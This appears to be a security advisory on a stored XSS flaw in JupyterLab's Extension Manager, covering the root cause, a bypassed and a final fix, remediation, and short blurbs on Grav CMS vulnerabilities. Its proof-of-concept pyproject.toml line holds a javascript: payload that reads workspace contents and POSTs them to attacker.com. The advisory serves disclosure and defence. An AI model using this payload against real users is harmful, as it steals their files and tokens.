Jun 19, 2026·5 min read·22 visits
JupyterLab versions before 4.5.9 are vulnerable to Stored Cross-Site Scripting (XSS) via the Extension Manager. Attackers can leverage malicious homepage metadata in PyPI packages to execute arbitrary JavaScript in the user's browser session.
A client-side Stored Cross-Site Scripting (XSS) vulnerability exists in the JupyterLab Extension Manager. This vulnerability allows an attacker to register a malicious package on the Python Package Index (PyPI) with a crafted metadata homepage URL using the 'javascript:' pseudo-protocol. When a JupyterLab user opens the Extension Manager and clicks the extension name, the browser executes arbitrary JavaScript code within the context of the JupyterLab origin. This can lead to the theft of active workspace documents, credentials, and API tokens. The issue affects all versions of JupyterLab prior to version 4.5.9.
The JupyterLab Extension Manager allows users to search, install, and manage extensions directly within the user interface. By default, it queries the public Python Package Index (PyPI) to fetch extension packages and their corresponding metadata.\n\nThe attack surface is exposed via the rendering of this external, untrusted metadata within the JupyterLab user interface. The vulnerability represents a client-side Stored Cross-Site Scripting (XSS) flaw, classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and CWE-20 (Improper Input Validation).\n\nAn attacker can register a malicious package on PyPI or hijack an existing one to deliver an active payload. When a JupyterLab administrator or user browses extensions, the interface displays the package details, including a link to the homepage. If the homepage URL uses an unvalidated pseudo-protocol, interaction with the UI triggers code execution within the security origin of the JupyterLab server.
The fundamental cause of this vulnerability lies in the lack of protocol validation for user-supplied links before rendering them in the Document Object Model (DOM). In the JupyterLab backend component, package metadata is retrieved from the PyPI JSON API, and a primary URL is selected from the configuration.\n\nThe selected metadata string is assigned to the homepage_url property and transmitted to the React frontend. In the React widget responsible for rendering list entries, the application processed this URL by embedding it directly inside the href attribute of an HTML anchor (<a>) tag.\n\nBecause the scheme of the URL was not validated or restricted, a pseudo-protocol such as javascript: was parsed as a valid reference. When a user clicks the anchor element, the browser interprets the URI as an instruction to execute JavaScript code in the context of the origin, bypassing security boundaries.
The vulnerable code path directly assigned the raw string to the anchor tag without any sanitization or protocol checking.\n\ntsx\n{entry.homepage_url ? (\n <a href={entry.homepage_url} target=\"_blank\" rel=\"noopener noreferrer\">\n {entry.name}\n </a>\n) : ( \n <div>{entry.name}</div> \n)}\n\n\nThe first mitigation attempt implemented isProtocolAllowed utilizing the native URL constructor resolved against window.location.href. This attempted to restrict allowed schemes to http: and https:.\n\ntypescript\nfunction isProtocolAllowed(url: string): boolean {\n try {\n const parsed = new URL(url, window.location.href);\n const protocol = parsed.protocol.toLowerCase();\n return ['http:', 'https:'].includes(protocol);\n } catch {\n return false;\n }\n}\n\n\nThis implementation was incomplete because it resolved relative URLs against the current window location. An attacker could prefix the protocol with whitespace or control characters, causing the native parser to treat it as a relative path. The browser's HTML parser, however, would later normalize the string, strip the whitespaces, detect the javascript: protocol, and execute it.\n\nThe final fix resolved this bypass by removing the base URL argument from the URL constructor. This forces the parser to process the input strictly as an absolute URL, throwing an exception for relative paths or malformed strings.\n\ntypescript\nfunction isProtocolAllowed(url: string): boolean {\n try {\n const parsed = new URL(url);\n const protocol = parsed.protocol.toLowerCase();\n return ['http:', 'https:'].includes(protocol);\n } catch {\n return false;\n }\n}\n
To perform this attack, an actor must publish a Python package containing a malicious URL scheme to the public PyPI repository. This is accomplished by setting the homepage URL under the metadata section of the pyproject.toml file.\n\nThe metadata configuration resembles the following structure:\n\ntoml\n[project.urls]\nHomepage = \"javascript:fetch('/api/contents').then(r=>r.json()).then(d=>fetch('https://attacker.com/log',{method:'POST',body:JSON.stringify(d)}))\"\n\n\nWhen the user accesses the JupyterLab Extension Manager, the backend queries PyPI and displays the malicious extension. The victim must perform a single action of clicking the package name in the extension panel.\n\nOnce clicked, the browser executes the payload. Because the execution occurs within the authenticated JupyterLab origin, the payload can access local resources, retrieve sensitive documents, extract API tokens, or perform unauthorized administrative actions on behalf of the user.\n\nmermaid\ngraph LR\n A[\"Attacker publishes malicious PyPI package\"] --> B[\"JupyterLab fetches package metadata from PyPI\"]\n B --> C[\"User opens Extension Manager UI\"]\n C --> D[\"User clicks on malicious extension name\"]\n D --> E[\"Browser executes javascript: payload in JupyterLab origin\"]\n E --> F[\"Attacker steals notebooks, credentials, or API tokens\"]\n
The security impact of this vulnerability is substantial for multi-user JupyterLab instances and administrative environments. Execution of arbitrary JavaScript within the JupyterLab origin allows full control over the user session and the resources exposed to that session.\n\nAn attacker can compromise the confidentiality of the server by reading stored files, workspaces, and notebook data. They can compromise integrity by writing new files, modifying existing code, or running system commands if the terminal API is accessible under the hijacked session.\n\nWhile the CVSS 4.0 base score is calculated as 5.1 (Medium), the actual severity can escalate if the active JupyterLab session has elevated access to backend kernels, sensitive datasets, or internal networks.
The recommended remediation is upgrading the JupyterLab installation to version 4.5.9 or higher. This version implements strict validation of URLs rendered within the Extension Manager React component.\n\nFor instances where immediate patching is not possible, the Extension Manager should be disabled. This prevents any metadata queries to PyPI and eliminates the associated attack vector.\n\nThe Extension Manager can be disabled by adding the appropriate configuration parameter to the jupyter_server_config.json file. Setting extension_manager to \"none\" prevents the rendering of external package lists.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
jupyterlab Jupyter | < 4.5.9 | 4.5.9 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 / CWE-20 |
| Attack Vector | Network (AV:N) |
| CVSS v4.0 | 5.1 (Medium) |
| Exploit Status | Proof-of-Concept |
| Affected Versions | All versions prior to 4.5.9 |
| Remediation | Upgrade to v4.5.9 or set extension_manager to 'none' |
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
A path traversal vulnerability exists in Grav CMS versions prior to 2.0.16. The flaw occurs within the file validation mechanisms of the MediaUploadTrait, enabling authenticated users with media management privileges to bypass sandbox limitations. This allows the deletion of arbitrary files on the filesystem, which can result in denial of service or remote code execution.
An unauthenticated directory traversal vulnerability exists in Grav CMS prior to version 2.0.15. Due to an insecure string-based containment check (str_starts_with) in the pre-boot static asset server, attackers can read files in sibling directories sharing a prefix with the configured asset path when plugin-asset-map.php is enabled.
CVE-2026-75828 is a critical stored cross-site scripting (XSS) vulnerability in the getgrav Grav CMS before version 2.0.15. The vulnerability resides in the detectXss() security filter mechanism, where parser-differential mismatches between the regular-expression-based server-side validation and browser HTML5 tokenization allow authenticated editors to bypass event-handler detection and inject arbitrary JavaScript execution vectors.
An arbitrary file write and remote code execution vulnerability exists in Grav CMS before version 2.0.15. The vulnerability is caused by using an incomplete denylist validation approach for bare PHP functions in the Blueprint dynamic-data compiler, allowing authenticated users with page-editing or blueprint-configuration privileges to execute arbitrary functions such as error_log.
CVE-2026-75834 is a stored Cross-Site Scripting (XSS) vulnerability in Grav CMS core, caused by a design flaw in its input validation wrapper Security::detectXss(). Regular expressions using the PCRE UTF-8 /u modifier fail-open when encountering invalid UTF-8 sequences or when the PCRE JIT stack limit is exhausted, allowing authenticated users with page-editing privileges to save malicious HTML and scripts.
CVE-2026-75837 is a critical privilege escalation vulnerability affecting the Grav Flat-File Content Management System (CMS) in versions prior to 2.0.14. Due to a missing security guard on the access field within the core Flex group blueprint configuration file (system/blueprints/user/group.yaml), a delegated administrative operator can submit a crafted payload to elevate their permissions to super-administrator, which can then be leveraged to achieve remote code execution.